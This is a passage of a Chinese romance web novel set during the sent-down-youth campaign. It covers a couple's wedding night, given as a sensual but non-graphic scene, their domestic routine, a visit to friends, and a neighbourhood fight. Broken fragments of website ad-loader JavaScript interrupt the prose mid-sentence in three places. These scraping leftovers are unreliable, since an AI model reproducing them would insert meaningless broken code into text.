涂翡摸了摸她藏着的这些禁书:“社会是呈螺旋式上升发展的,而错误就像螺旋褶皱里的皮屑,随着时间推移,终究会被抖落。”
她知晓知识分子的处境,高级的知识份子被批斗,低级的知识分子被煽动着抛弃知识,就连学童上学也要农学结合。
但无论是科研,还是文学艺术,这个社会的发展都离不开知识。
她相信,苦难终有尽头。
因为她坚信,她的国家在走向正确的路上。
池步湘又发现了涂翡的不同。
对于某些事,她很坚定,也很强硬。
她不会轻易被说服,也不会因为自己的不同而自我怀疑。哪怕她的想法挑战了权威,与这社会逆流而行。
他从她的眼里看见了火光。
涂翡手指划过条条书脊,从底下抽出一本递给池步湘:“管他有没有用,想看就看。你不觉得,越是禁止的事,越是受欢迎吗?”
“那倒是。”
“小心些,弄脏了你就去江大图书馆偷一本赔我。”涂翡认真地说着玩笑话。
“那确实得小心了,万一我顺回来什么不得了的玩意可怎么办,Walden?”池步湘看着封面,低声念:“HenryD.Thoreau,梭罗?”
“对,一个脑筋不太正常的作者。李步潇说你精通英文和俄文?”她对池步湘的了解不多,但她直觉他会喜欢这本书。
大概是他和这本书作者的理念之间,都有种‘不思进取’的气质。
“他骗你,我只能读懂。”
池步湘不慎在意地耸耸肩,把这本瓦尔登湖藏在了衣柜中,没有折了边角。
.
不管是池家还是涂家,都没有结婚的气氛。
直到池步湘将他带来的那床双人红色被褥铺好,连附带的枕套也是红色的。这屋里终于喜庆起来。
涂翡坐在凳子上端着茶缸喝茶,静静看他跟个搬家的仓鼠一样,一会一趟的整理。也许说是占地盘的小狗更合适些?他好像要在这屋里的角角落落都染上他的气息。
终于,池步湘从那一堆盒子里翻出来个像画轴一样卷着的纸筒。他小心地将纸筒拆开,里面是一张圆形的红色双喜剪纸。
他献宝一样,将剪纸给涂翡看,语气不乏嘚瑟:“过年剪窗花剩了一张红纸,我剪的,怎么样?”
漂亮鲜艳的红色,就像花朵一样开在了这漫长冬季昏暗燥热的房间里。
“好看。”涂翡将杯子放下,走向外屋地:“你等着。”
“干什么去?”池步湘不满,只是好看?
“去熬浆糊。”
池步湘满意了!
等炉子上的浆糊烧好,俩人一人捏着一边将红双喜贴上窗子。
手指不经意的触碰,像是按下了静音键。另一个人的体温,让人想要瞬间弹开,但这唯一一张的珍贵,又让他们不得不小心。
沉默着,手指交错,距离渐近,对方的呼吸也越发明显。
不知名的气氛在这昏暗的房间中蔓延。
等喜字终于贴好,就连涂翡也暗暗松了口气。
随着喜字的粘贴结束,池步湘的‘新房’终于布置满意了。
她坐在凳子上,他坐在炕沿上。
沉默良久。
到底是涂翡打破了这黏腻的气氛:“做吗?”
单刀直入的坦荡直白,甚至掩盖了这令人羞赧的事情本身。
池步湘满脸通红,语气却坚定地像是要入党:“做。”
洗漱过后,俩人并排躺在红色被子里。
池步湘心脏咚咚咚地跳。
他试探地牵起涂翡的手,那是一双有着老茧的纤长的手,感受到回握,他凑过去,侧着身,轻吻了下涂翡的脸颊。
就如同每个正常青春期的男孩子一样,他也曾有过对异性的好奇。他看过在男生间流传页都翻卷了的书、看过西方描述爱情的小说、看过有亲吻情节的电影。
他承认,他的思想有过肮脏不堪,也有过对爱情的憧憬。
只是,他从没想过,他竟这么草率的就结婚了,甚至没有恋爱情节,就到了鱼水之欢这一步。
但如果是涂翡,他便只有满心渴求。
他修长的手笨拙地伸入涂翡的衣摆。
动作轻柔地拂过,片刻后他抱住涂翡,轻轻压在她身上。他抿着唇解开了她的白衬衫,专注认真地在像做几何问题。
只有泛红的耳朵和躲闪的眼神暴露了他的紧张。
比起他的手忙脚乱,涂翡堪称悠然,她仰躺着,悠然地欣赏着,由着他解开了扣子。
终于衬衫敞开,露出了那件贴身的有一点点塑性功能的背心。
他白皙的脸上爬上了红晕,他凑过来轻吻,涂翡则被那双桃花眼吸引了视线。
他长卷的睫毛微微颤动,眼角有些泛红,而那颗藏起来的红痣正巧从涂翡的角度看个正着,此刻越发艳丽。
他很漂亮。
要是寻常的人,身体被战争打上如此多的印记,怕是要自卑的。偏偏涂翡不会,也许没有经历沙场的涂翡会,但现在的涂翡并没有那么多复杂的情绪。
她也确实不需要自卑,她有独特的吸引力。
尽管涂翡身上缺乏了些许柔和饱满的美感,但她却有如同罂粟一般的吸引力,让池步湘难掩慌乱。
因为结婚,池步湘今天难得穿的正式。白衬衫外面套了件鸡心领的黑色毛衫。
他半跪着直起腰,脱了毛衫,解开了几枚衬衫扣子,漂亮的身材还半隐半现地露着便急切地去亲吻。
涂翡瞧着,眼里闪过晦暗,她一把揽住他的脖子。池步湘的亲吻抚摸终于得到了她的回应。一面亲吻着,涂翡利落地解开了他剩下的几个扣子,彻底打开了衬衫。
池步湘的身材和他的脸一样漂亮,他并不是那种干瘪的身材。他的肌肉匀称饱满,线条流畅。
起伏着的胸膛附着了不甚明显的汗意,让那肌理更显莹润有光泽。
对于男性的上半身,涂翡见过不少,池步湘的一切都可以用一个词形容,恰到好处。
他不瘦弱,也不夸张,肌肉和体脂都匀称美好,衬衫半遮半掩着,胸膛、喉结在起伏间有着不可抵抗的诱惑力。
涂翡好久没看到这么健康的体魄了,带着老茧的手指触碰着池步湘露出来的肩膀胸膛。微弹的触感像是打破了某种隔阂,燃起了她的某种渴望。
本来慢悠悠等着池步湘动作的她突然爆起,按着他的肩膀翻转,衬衫的衣摆在空气中交缠而过。等池步湘反应过来,已经被她压在身下了。
她俯身轻吻他的脖颈
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
,啃咬他的胸膛。健康的、饱满的、完美的……这让涂翡这个见惯了残破的人,除了某种冲动外,还热泪盈眶。
她关了昏暗的白炽灯。
很快,在缠绵中,眼睛适应了黑暗。明明是灯光更亮,但当月光从薄薄的窗帘外照进来,池步湘却觉得,那白炽灯不如月光通透。
涂翡脱了背心,清冷柔和的月光洒在她身上,露出了那斑驳的身体,一身的伤痕。宽肩窄腰手臂纤长,裤腰松垮地落在她的腰间。她是干瘦的,但又有力量,浑身充斥着一丝危险的气息。
那是硝烟弥漫的身躯,万物荒芜,万物又蓬勃生长,这矛盾的气质碰撞出一种别样的美。她像是一个巨大的漩涡,潜藏着无穷无尽的能量与故事,只等人自愿上钩,沦陷于此。
这带着一身勋章的身躯,让人觉得震撼而不可侵犯。
但池步湘此刻只觉得热血上涌。
她是那样性感。
而他是这样大逆不道。
她的性感是凌厉的,是呛人的,是杀气腾腾的,是让人无法控制自己心跳的。
他僵在那里,眼里流露出强烈的渴求意愿,他的指尖在她的疤痕上轻滑,他谴责自己,但又难以抗拒这引人沦陷的女人。
“阿翡……”
突然涂翡握住了池步湘的手腕,她笑了,眼神明亮而带着侵略性:“别动。”
池步湘挪不开视线,听着涂翡半哄半命令的口吻,心跳快到差点炸掉。
他想,他逃不开这女人了。
虽然,他没想逃。
.
大概是用了两个计生用品的睡前运动她出力不少,涂翡睡得还不错,虽然被窸窣的声音惊醒了几次,凌晨三点多醒来后就没再睡着了,但这对她来说,很正常。
她熟悉了池步湘的气息,并没有因为被子里多个人而不适应。
她和池步湘强调,夜里尽量不要动她,她怕噩梦惊醒把他当成敌人。
除了新婚这天,在她精神没好明确好转之前,他们也不能睡一个被子。
池步湘已经做好了要一步步来的准备,但他没想到她的精神问题这么严重。也许他真的该去江大的图书馆偷几本医疗类的禁书回来?
比起涂翡,他有点难眠,不过听着旁边均匀细小的呼吸声,他很快也在明亮的月光中入睡了。
因为没有经验,又有些激烈,涂翡觉的某处有点不自在。
但还行,不耽误她行动。
所以涂某人一大早起来打拳。
她步履生风,地面荡起飞扬的白雪。
等池步湘被院子里的动静吵醒时,他迷糊地看着天花板,嫁人的错觉更加强烈了。
涂翡出门前已经把炉子生了起来,屋里这会已经有了热乎气。
因为暖和,池步湘又睡了会才清醒,他打开灯拿了本子,窝在被窝里算一家三口的开销。
他要管家了!
养家糊口,养家糊口。最重要的就是喂饱家里每一张嘴。
昨天涂翡和他说了她的囤粮计划。粮本有数,他们要么从黑市买粮,要么就按照涂翡的方式,从食堂买着吃。
粮食太珍贵这样无可厚非。但下饭的副食,他想自己多动手,会更节省,营养也会更均衡。
他肯定会把涂翡养得更好。她的身体,其实算不上强壮。
24. 池管家
池步湘再浪荡,但除了他爸认为他不堪造就,没谁否认他在理科上有令人惊讶的天赋。
衣食住行存钱,几个大框,按照不同的月份,他做了一年的预算。
不同情况不同分析,他甚至为每个类别都做了弹性系数。
在已知的物价基础上,他做了一份最大利用率的养家计划。
如果涂翡看到计划,大概会感叹,他给她管家,确实是大材小用了。
借着东屋的光,涂翡打拳打了个痛快。
只是中途,外屋地响起了池步湘活动的声响,他插着袖出来围观了一会涂翡打拳,就开始一趟趟地进出。倒脏水桶、去下屋找食材、去柴火垛拿柴……
涂翡锻炼的速度都被影响了。
不过看着烟囱升起来的炊烟,这感觉还不赖。
涂翡起得早,池步湘哪怕赖了会炕,还做了个生活计划,也够他做早饭的。
在他还是个乖乖崽的时候,他经常在厨房帮忙,亲妈他帮过,后妈也帮过,他还研究过菜谱,做过笔记。
他这人有个特点,只要是学东西,哪怕学不精,也少有学不会的。实战经验是少了点,但他说他会做饭,那是真的会。
和涂翡也吃过几顿饭了,他已经掌握她的饭量,她至少抵一个半饭量正常的成年男性。别管一顿是两个菜,还是三个菜,他尽量有荤有素,量足够。
昨天的菜还剩,他决定用剩的炖肉烩些酸菜,加点土豆丝,连菜带汤。除此之外,再切半根红肠。小菜吃点腌菜,主食就吃杂粮干粮,下屋有现成的。
一顿还算丰盛的早餐。
涂翡觉得他跟个耗子一样进进出出,这绝对是错觉。
实际上,池步湘做事很高效,有条不紊,只是他趿拉着鞋,走路慢悠悠,他个子高腿长的特点,更是放大了这吊儿郎当的走姿。
等涂翡拉伸完,她进屋洗漱换衣。
早饭进锅,池步湘这会又窝进了被子,看见她在空地上洗漱,他有些不好意思。
但想想已经发生的事,他侧着脸仰着头,光明正大地看。
涂翡解扣子的动作顿了顿,她放下毛巾,走到炕边,毫不犹豫地把冰凉的双手伸进了池步湘的衣领,热烫的温度,手感也好。
池步湘万万没想到一本正经的涂翡能干出这种惨绝人寰的事!
他嘶了声,攥住了涂翡冰凉的双手,也不将她的手拿开,只用无辜的眼神看着涂翡,似在谴责她的不道德。
装的。
涂翡心知肚明。
但还是有些愧疚,毕竟她打扰了他的赖炕行为。
涂翡手下微动,池步湘低声抱怨:“别捏啊……疼,你都咬出牙印了。”
涂翡耳根发热,她没捏!
不过确实很难解释,对于美好的体魄,她昨夜是有点莫名其妙的……食欲大开。
“对不起。”
然后她低头轻吻了下那张喋喋不休的唇。
池步湘咳了声,桃花眼微敛:“那你下次轻一点~”
.
事实证明池步湘的手艺确实很不错,吃到热乎的家常早餐是件幸福的事。
涂翡上午整理档案的时候都是愉悦的,当然她不否认早饭只是愉悦的原因之一。
结婚也不能耽误上班,这是常识。
外勤的工作影响不到涂翡,她顶多是多收录几份出勤记录,偶尔会找不到马所长签字。
她又整理出一年的档案,不过这一年实际与记录严重不相符,她花了很长时间写报告。中途刘莉来档案室送人事档案,非常八卦地打探她的新婚消息。
涂翡虽公事公办,但在为人处世上,绝对不是棱角分明令人敬而远之的人。她除了和政保股发生了点小摩擦,真正与她接触下来的人,对她的印象都不错,特别是李婶。
而且,政保股看着威风,其实并不怎么得人心。
总和涂翡交流消息的刘莉,对她更是产生了信任。哪怕是有些敏感的话题,她现在也会涂翡说上两句,毕竟涂翡嘴巴严,又为人正派。
而大家都好奇的某位铁树的开花问题,她便直接问了。
“翡,在啊,我还以为你得多请几天假呢!”刘莉冲着涂翡暧昧地挤挤眼:“你这婚咋结得这么突然?一点信儿没有。”
对于带有八卦色彩的隐私问题,你越藏着掖着,人们越是起哄,越是愿意去猜其中的条条道道。但只要你承认了那些隐晦,那人们便会对你的隐私兴趣大减。
涂翡知道刘莉是个慎重的人,她没坏心。
她这是为了堵其他人的嘴。
涂翡将事实修饰了一番,坦荡地说:“战友介绍认识的,刚见面几次。这不开始动员知青下乡了么,我们怕婚事有变,干脆就打报告了。”
刘莉不是个冒昧的人,她没问为什么涂翡选了个没工作的知青。要知道,涂翡的工资级别在整个派出所都是数一数二的。
她军队出身,工作体面,尽管不是寻常男性喜欢的类型,但绝对是非常优质的结婚对象。
不过,那位池知青也不是毫无可取之处,毕竟他长得很好看啊。这样的人,你也想象不到他下乡干农活的样子。
刘莉只是敬佩地点点头:“你们这行动起来可真快!动员大会还没开完呢,你这婚事就落定了。那婚礼呢,你们不办个婚礼?”
“革命伴侣,一切从简!”
涂翡这半真半假的说辞合理,不然等政保股腾出手来,难免会从这上面做文章。她这是率先出击,堵住他们的话口。
虽然确实有逃避下乡的嫌疑,但若以‘为了顺利结婚’为前提,那这事谁也无法说什么了。
刘莉看着义正言辞的涂档案员,隐隐觉得她吝啬,怎么连个婚礼都不给人家?等反应过来自己到底想了什么,她默默把这莫名其妙的念头甩之脑后。
送走刘莉,涂翡上午除了跑了一趟食堂,和李婶聊聊天,一直工作到下班点。
她在走廊最东面,食堂就在走廊最西面。
到了下班时间,她穿上大衣往外走,就见食堂门口两个政保股的人正在食堂门口堵她。
除了江大,高中毕业生也是重点动员的目标,初中生年纪太小,政保股和治安股还得继续工作。
涂翡都想笑了,看来这动员大会确实没出乱子,这又有功夫找她麻烦了。
今天食堂可没什么好菜。
涂翡连个眼神都没给他们,进了食堂只打了一斤主食就一声不吭地
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
拐出了大门。
“她真凶啊!”一人感叹。
“废话,东边顶头那三个屋里呆着的,哪个好惹?”
“……你说的对。”
涂翡误会政保股了,他们确实忙,但这不是临近中午了么。他们今天动员的高校没有食堂,詹乐贤派他们回来打饭的。
这俩人也是敬业,李婶给装菜的功夫,就习惯性地在这守了会。
谁承想,涂档案员现在也是有家饭要吃的人了,外面的野饭她看都不会看一眼。
池步湘特意交代的,让她中午回家吃饭!
粮本额度不够,涂翡每个月自己就能吃45斤粮,而且他们还想存些粮。
她身体的消耗还没能转变成文职工作者,但现实已经先一步转变好了。
粮食太稀缺难买,就算有黑市也不如食堂合适。池步湘就让涂翡中午晚上从食堂买主食回家。
只是食堂的主食也不能随便打,每一餐一斤是上限。
这还是派出所食堂的福利。而粮票就是最大的限制,所里的在役军人粮票还能攒下来点。其他人能吃饱就不错了,哪里来的富余粮票。
.
小锅饭比大锅饭好吃。
只中午一顿饭,池步湘就征服了涂翡的胃口。
这让有生之年几乎只吃食堂的涂翡发现了新大陆。
池步湘做菜很细致,还不怕麻烦。
江城临江,水产丰富。在冬季食物最紧缺的时候,哪怕不是集体开江的时间,镇北公社的食品站也会组织人去江面打洞冬捕。
他们用冰镩子,将半米厚的冰面凿出一个圆形缺口,肥硕缺氧的江鱼大张着嘴巴,噼里啪啦地直往外蹦——两斤的大鱼都很常见。
今日是惊蛰,天气要慢慢回温了。这估计是最后一次冬捕。
不用副食本,但每户限购一条。池步湘自然不会错过机会,他自己买了条大鱼后,还多花了张半斤的肉票,拜托别人又去抢了一条。
这鱼一供应,就让人排起了长队,幸亏他动作快。
在江城,鱼肉在肉类里算便宜的,不到猪肉一半的价格。
就是收拾起来费点劲。
第一次杀鱼,他先是请教了老涂,得到了一个他持怀疑态度的答案。他不得不又问了东面隔壁操着河南口音的姜奶奶。
他个子高,蹲在水盆前,研究了半响才把鱼处理好,起来时腿都麻了。
按照食谱的记录,他剃下鱼骨熬了一锅奶白色的鱼汤,熬成后,他用一部分煮了海带白菜丝,剩下的都冻了起来。
鱼很难得,他得计划着来。
鱼汤要冻,鱼肉更是如此。他留下鱼杂和不到一斤的鱼肉,剩下的都打成了鱼丸,冻进了下屋。
他用留下的鱼肉,做了道并不正宗的水煮鱼——他今天去副食品站买了调味品,买了豆芽,还泡了些家里的木耳。他对火候的把握非常精准,煮出来的鱼片非常嫩滑,一点不老。
尽管连油都没怎么放,但味道是出奇的好,麻麻辣辣的,两个涂吃得头都不抬,哪怕辣得不住地喝汤。
比起对食物格外渴求的涂翡,池步湘就是正常的男性饭量,他吃饭的仪态过分体面,总让人觉得他食欲不振。
25. 张栋梁
涂翡吃饭快,吃完之后,她好心情地看着池步湘在那细嚼慢咽,像是在品尝什么精美的食物。
人如其名。
不过好看的人,确实更容易获得她的耐心。
涂翡看鱼汤还够,就给自己又盛了半碗,鱼汤很鲜美,有点没喝够。
“爷,一会你收拾啊,我带不香去找梁玉秋报喜。”
“行,我收拾。你见过她结婚对象了?”他这段时间天天去食品站,还没见到老梁呢,也好奇。
“一会就见了。”涂翡不甚在意。
池步湘好奇地看向她:“梁玉秋是谁?”
她可是连婚礼都不在意的人,还有需要特意去通知喜讯的人吗?
而且这么急切。
“一个非常优秀的裁缝。”涂翡一脸认真。
池步湘想起涂翡那不出格但又有些不同的衣服,比如那件很好看的内衣……他吃饭的动作更慢了,心里警铃大作。
“开玩笑的,是我一个朋友,发小。你见过就知道了。我不会做手工活,一直是她帮我。”涂翡把剩下的两块鱼片夹到池步湘碗里:“快吃!”
.
梁玉秋对自己结婚的事情闪烁其词。
涂翡没有担心也没有生气,因为秋子是个很有主见又很聪明的人。她从小就是‘一家之主’,还能让家里的日子越过越好。
但现在她也结婚了,她自觉她的婚事没有任何需要隐瞒的地方。
有多少借着报喜的名头去一探虚实的心思,就只有她自己知道了。就算有人猜到,她也不会承认的。
梁玉秋的新家,涂翡知道是哪个门。
她上次送她到胡同口,看着她进屋才走的,这离她娘家不远,很符合梁玉秋的操心性格。
涂翡刚要敲门,池步湘拦住了她:“等等。”
说着他整理了下大衣和帽子:“还行吗?”
涂翡帮他正当了下绿色雷锋帽:“这么重视?”
“能让你说了一路的人,我肯定要重视呀。”池步湘道。
明明是他问的。
涂翡觉得好笑,又帮他整了下衣领,才敲响了大门。
“谁啊!”
里面屋门吱呀一声打开,一个声线略粗的男人声音响起。
听得涂翡眉毛一挑,眼神变得危险起来。池步湘敏锐地发现她的变化,见她不说话,他也不开口。
男人大步走到大门前,拧着眉,一把拉开大门。
他和涂翡四目相对,震惊地瞪大眼睛,下意识地就要把门关紧!
池步湘反应迅速,一把撑住大门,语气轻佻:“怎么,不欢迎啊?”
张栋梁这会哪还顾得上勾火的池步湘,他看着涂翡尴尬地笑了笑:“嘿嘿,你回来啦!”
要不是怕控制不住会下死手,涂翡高低得一拳打过去,她冷笑了声:“还想给我关外面?”
张栋梁是个壮汉,个子有一米八,一身结实肉五大三粗,眼角有一道疤痕,一张能吓哭隔壁小孩的凶脸。但此刻理亏,一脸心虚的怂样。
他还想狡辩,只见涂翡冲他勾了勾手:“来,咱俩谈谈。”
涂翡转身往胡同深处走去,他只能鹌鹑似的跟上,路过看热闹的池步湘,他想起什么,冲着院子里大喊:“媳妇儿!阿翡带了个且来!”
听见涂翡名字,梁玉秋一个激灵,一路小跑到门口,结果只看见了被扔下没人管的池步湘。
她瞬间正色,客气地问:“你是?”
“你好,我是池步湘,涂翡的爱人,革命伴侣。”
“伴侣?”梁玉秋提高了嗓门。
.
涂翡和张栋梁走到一个背人的地方。
张栋梁小心地看着她。
涂翡已经冷静了下来,她叹了口气,看着张栋梁和她同款的蓝色裤子:“什么时候回来的,转业?”
张栋梁心下松了口气:“前年,赶上最后一批转业,服装厂保卫科。”
大厂里的保卫科隶属于公安部门,也是穿警服的。只是涂翡刚进所里没多久,不然早晚能在派出所见到他。
“那还行。”涂翡思索着,又问:“你以前不是说喜欢文静的?”
她这话绝对是给张栋梁面子了。
张栋梁嘿嘿地笑:“这不是戍边久了么,那边太寂静了。我现在就喜欢秋子这样热闹的性子,看着她就开心。”
边疆的雪太白了,也太静了。
有时候让人觉得,这世界就只剩下这一个小小的站岗所。
梁玉秋的热闹是带着烟火气的,让他觉得,离这人世间又进了一步。
涂翡沉默好久,拍拍他的肩膀:“记住你今天说的话。”
张栋梁没想到这么轻易就过关,不然他和秋子也不至于一直到现在也没想好怎么告诉涂翡。
他又细琢磨琢磨涂翡的话:“虽然我很为秋子开心有你给她撑腰,但是我怎么感觉,我失去了一个朋友呢?”
“你确实是失去一个朋友。”
在张栋梁脸色大变之前,涂翡转身:“走吧,姐夫。”
张栋梁小声嘟囔:“我就说吧,你一直偏心她,你还不承认!”
涂翡一个眼刀过去,张栋梁心虚得不说话了。
这两口子就逮着她一个人祸祸。
想起曾经的往事,涂翡也是一言难尽。
涂翡和梁玉秋的朋友圈几乎重合,张栋梁就是那个几乎。
张栋梁是涂翡的朋友,他俩都是军事迷,还一起偷去过军区大院,最后俩小孩被人家开吉普车送回来的。
张栋梁就喜欢和涂翡玩,因为她知道的多,打架厉害。男孩子们大都喜欢玩军旅游戏,但他嫌那些人太过家家,没有一点真材实料。
就这样,他难得有一个真正的‘战友’。
但偏偏涂翡还有其他朋友,其中最让他看不惯的就是梁玉秋了。叽叽喳喳的一个小姑娘,事事拔尖又牙尖嘴利,还天天霸占着涂翡。
俩人都自认是涂翡最好的朋友,没少打架,还都用自己威胁过涂翡,不让她跟对方玩。
张栋梁觉得小姑娘就该文文静静的,不该那么霸道强势;梁玉秋厌烦他死板教条,骂他有股‘男性主义’的臭味。
总之都是小时候的事情,涂翡夹在中间,没少受他俩的气。
她作证,他们绝不是打情骂俏,而是纯粹的彼此仇恨。
她差点为了世界和平,和张栋梁绝交了。
结果他们结婚了。
那她受的那么多年的夹心气,算什么?
张栋梁年纪比她们大,初中没毕业就去当兵了。涂翡记得在她出国前,张栋梁已经调去了戍边兵团当排长。
她是初中毕业才特招去的军队,俩人不同期,又是不同兵种,在部队只通信联系,一面都没见过。
说起来,也是好久不见了。
.
伴侣一词,差点让梁玉秋大惊失色。
她绕着池步湘打量了两圈:“伴侣?她啥时候有伴侣了?我咋不知道!”
这才几天没见!
“昨
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
天,我们昨天办的手续。”池步湘抱住手臂,心底戒备。
“你干啥的,哪个单位的?”
“江大肄业。”
“知青?无业?!”
“对!”
“你还挺骄傲!”梁玉秋气笑了。
池步湘原本决定好好表现的,毕竟是涂翡在意的朋友。
但此刻他很不爽,对方审问一样的态度不是原因,他不爽的点在于,对方可以把涂翡看作自己人,对他这个革命伴侣进行审视!
——偏偏他又不敢赌对方在涂翡同志心里的位置。
有点不开心!
明明他持证上岗!
“那你怎么养家?”梁玉秋又问。
池步湘放下手臂,耸耸肩:“有阿翡养我啊!”
非常理所当然的语气,梁玉秋有点生气:“凭什么啊!”
“凭我长得好看!”没等梁玉秋开口,池步湘一本正经地问:“还是说,你这是对女性的歧视,你认为女性就不能养家糊口?”
他这一路,也不是瞎问的。打蛇打七寸!
梁玉秋满脑子问号,这人哪里冒出来的?
咋这么烦人呢!
她也就据实问问情况,她虽然有点爱管闲事的小毛病,但她不会对涂翡的选择质疑。不就是养个小白脸嘛!那又咋了?
这小白脸怪烦人的!
再说,她不歧视女性,还不能歧视吃软饭的小白脸了?!
“秋子。”涂翡推开大门走进院,打破了俩人的针锋相对。
池步湘脸上的表情瞬间变得乖巧起来,他走到涂翡身边,一脸担忧:“你没事吧?”
都被池步湘出言不逊过的梁玉秋和张栋梁面面相觑,此时两口子的脑回路同频了,都觉得涂翡的结婚对象有点一言难尽。
好家伙,这还两幅面孔呢!
也不知道怎么回事,涂翡怎么竟招惹一些占有欲强的人?
要是涂翡知道这两口子的心思,大概会夸他们有自知之明。
中午时间不长,因为各种巧合,涂翡既没给梁玉秋包红包,梁玉秋也没参加上涂翡的婚礼。俩人就约着,看哪天有空,他们四人可以一起吃顿饭,庆祝一下。
不过比这顿聚餐率先到来的,是李金玲的回家。
.
派出所的成年人们都低估了知青们报效祖国的热情,前两天的派出所如临大敌,生怕知青闹事,后面的两天,就连马所长的脸上都轻松了起来。
一连四天的动员大会得到了学生们的积极响应。
这场动员知青下乡的活动,每一个涉及的城市家庭都不平静。
涂翡家西面的李家就鸡飞狗跳了。
李金玲她家一共四个孩子,李金玲排行第三,下面还有一个弟弟。
李家的孩子们都很有出息,他们家三个男孩都考上了大学。
老大考去了北京,毕业后找到了北京的工作;老二考上了江城师范,现在在小学当老师,还算安全;
只有老三李家成,他和涂翡同岁,是江城一所医科大学的学生,本该去年毕业的,被革命耽搁了。
唯一的女孩李金玲初中毕业,做了两年临时工,后来嫁给了南江区一个副厂长,也有了正式工作。
李家从李家成周二回来就没消停过。
李家成想报名去兵团,但周翠锦不同意。
“当兵能有什么出息,你看涂翡,当年学习比你大哥还好,现在只能在小派出所当个警察!她要是也考去北京,现在指不定啥样呢!”
26. 打架
李家成实话实说:“她要是考上北大,现在也得跟我一样要接受分配。妈,我不去兵团也行,分配办的老师说我们会到基层接受工人阶级再教育。”
他们医学生还可能分配到卫生所或边远县城的医院。其他专业的分配想专业对口那就太难了。
学历越高,越是要被教育。像北大学生就只能去县级以下的艰苦边远的基层,少数民族地区。不能留在县级以上的任何单位,这是下了文件通知的。
他的大学要求就没那么高了。
“你是要气死我?你知道偏远地区有多苦吗?那大山,你想走都走不出来,那是鸟都不拉屎的地方!那大西北……”
“妈,现在不是我想不想的问题。”李家成有些心烦:“不去兵团,就听分配去基层。我没得选。”
大家都没得选。
李家因为下乡问题一直吵到了周五。四邻之间本也没有秘密。
他们声音还大。
池步湘闲暇时间,就在看那本瓦尔登湖之余,听了几天墙角。要不是周翠锦吵架总带上他家涂翡,他才不听呢。
这婶子也是有点毛病,怎么就盯着他家涂翡不放。
李家不想让李家成去吃那个苦,就得赶紧找个工作,有接收单位,学校那边也好解释。周翠锦实在没办法了,想起了她家闺女,打电话说了不少好话才把人哄回来。
李金玲是周五上午回来的,她和单位请了假,周翠锦也一样,请假等她。
她和涂翡正好错开,涂翡上班后她才骑着女式自行车到家。
周翠锦好生接待了闺女,一副对待贵客的模样,看的李家成一直皱眉。
李金玲看着这一副鸿门宴的样子,语气冷硬:“妈,有啥事你直说吧。”
周翠锦尴尬。但话题终于进了正轨。她先是问女婿能不能帮忙找个工作。
这不用想,现在除了革委会的、和革委会一个鼻孔出气的,官越大,越是危险,安排工作,那不可能。
看行不通,她又想让李金玲把工作让给李家成。
李金玲脸色不好看,当初也是这样,为了让弟弟继续上学,剥夺了她上高中的权力。当时是因她成绩不如弟弟为理由,现在让她把工作让给弟弟又是什么理由?
但周翠锦丝毫没觉得哪里不对劲:“妈知道当初不让你上高中你生气。可你想想,女孩子读那么多书有什么用?
再说你学习又不好,你看涂翡,她当年学习全校第一呢,不还是去当兵去了?女人自己闯荡没用,你看她现在瘦得跟黑猴一样,过得有你好?”
池步湘的嗅觉远超常人,耳朵虽不那么迥异,但也挺灵敏。
再说,他连饭桌都没收拾,就蹲在西屋炕梢听墙角,还有听不着的?这也就是老涂刚吃完饭就被找去打文娱片了,不然他这小流氓潜质绝对要露馅。
果不其然,隔壁婶子对他家涂翡爱得纯粹!
池步湘从炕上跳下来,随便穿了件衣服,进了院子。
周翠锦继续给闺女灌输她的理念:“你把工作给你弟,让他每个月给你钱。你家有为那么大一个厂长,也养得起你,你就在家享福呗!
在家享福的人多了,涂翡不也和一个没工作的知青结婚了?我看她就图那男的脸。肤浅……”
“砰!”
屋门上响起一声巨响,吓得周翠锦惊叫一声。
李家成赶紧过来开门,只见正门口一个摔碎了的,包着石头的雪球。
而栏杆杖另一边院子里,那位好看的池知青正一副回味雪球手感的模样。李家成走到门外,发现他家木头门上被砸出了一个坑,怪不得那么响呢!
“诶!你扔的?手欠啊!”
池步湘自觉已经很仁慈了,他以前都是直接扔玻璃的。他咧嘴笑了笑,冲李家成挥了挥手:“告诉你妈,说话注意点!”
李家成是家里最小的孩子,从小那是被惯着长大的,更何况他最近被分配的事折磨得很烦躁。
看着池步湘那挑衅的模样,他当场就不乐意了,他捡起石头扔向池步湘:“我们在自己家说啥你管得着吗?逃避下乡的孬种!”
池步湘连躲都没躲,就这力道,都扔不过杖子。
果不其然,石头在栏杖那边距池步湘一米处停了下来,池步湘轻蔑地嗤笑了一声。
李家成气急败坏,他大步走过来:“吃软饭的孬种,管得还挺宽!说你吃软饭咋地了,还不承认啊?”
池步湘懒散地拍拍栏杖上的雪,脸上挂着疏离的笑:“我是孬种?那你也是。你姐把工作让给你,让你不下乡,你和我有什么区别?都是靠女人吃饭的,说话给老子客气点。”
他看李家成的那眼神,和看垃圾也没什么区别了。
李家成被激怒,池步湘不在两个涂面前,那是装都不装的。
不出意外,打起来了。
不止打起来了,还有勤快人报警了。人家听见动静,以为是学生们跑这边闹事。
最后鼻青脸肿的李家成和完好无损的池步湘都被治安股提到了镇北派出所,后面还跟着哭哭啼啼的周翠锦。
这可真是巧了。
整个派出所的人轮流跑过来围观涂档案员的革命伴侣。
池步湘虽不下乡,但他没工作年龄小,就没法完全逃脱学生和知青的身份。两个学生打架,这算事吗?
起码在这两年,这都不算事。
听了警察的思想工作后,俩人道个歉就可以被家长领回去了。
也是方便,池步湘连派出所都没出,就被人送到了涂翡的办公室。
池步湘难得后悔。
打个架而已,结果被人告状到了涂翡跟前。
涂翡在他刚被逮回派出所的时候,就去问过情况。事情不大,他也没受伤,还把对方打得鼻青脸肿的。
周翠锦看见涂翡,一路小跑过来跟她告状。
“你别和我说,警察在这呢,你和他们说。”涂翡没太当回事,看了会池同志的热闹,她就回屋继续写报告了。
他又不是她的兵。
再说打架又没输。
她还能罚他禁闭不成?
还真别说,看池步湘被警察追问,他那半装不装的乖巧还挺有意思的,跟在她面前装乖不一样。
相比起来,在她面前,他的装乖是放松的。
被涂翡留下一脸茫然的周翠锦:这事只和警察说就行了?再说,她涂翡不也是警察吗?
